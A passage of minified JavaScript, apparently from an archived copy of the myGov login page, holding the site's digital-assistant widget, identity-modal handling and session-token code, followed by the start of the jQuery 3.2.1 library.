'+titleBarTitle+"</a>");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff<timeoutValue){clearTimeout(timeoutEventId);timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}}lastInteractionDate=currentInteractionDate;}function initiateNewConversation(){var isAuthenticated=checkAuthenticated();if(!isAuthenticated){getToken(isAuthenticated);}}var storage={save:function(result){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}if(typeof result!="undefined"&&typeof(Storage)!=="undefined"){sessionStorage.url=result["url"];sessionStorage.jwt=result["jwt"];sessionStorage.aut=result["authenticated"];sessionStorage.dis=result["enable"];}},clear:function(){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}},check:function(){if(typeof(Storage)!=="undefined"){if(sessionStorage.jwt&&sessionStorage.url){return true;}else{return false;}}}};function isWebView(){var userAgent=window.navigator.userAgent.toLowerCase();var safari=/safari/.test(userAgent);var ios=/iphone|ipod|ipad/.test(userAgent);if(ios){if(!safari){return true;}}else{return false;}}$(document).ready(function(){if($("#digitalassistant").length>0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/login_files/mgv2-vendor.js.download000064400000450717151676702570015327 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=Array.isArray(d)))?(e?(e=!1,f=c&&Array.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else 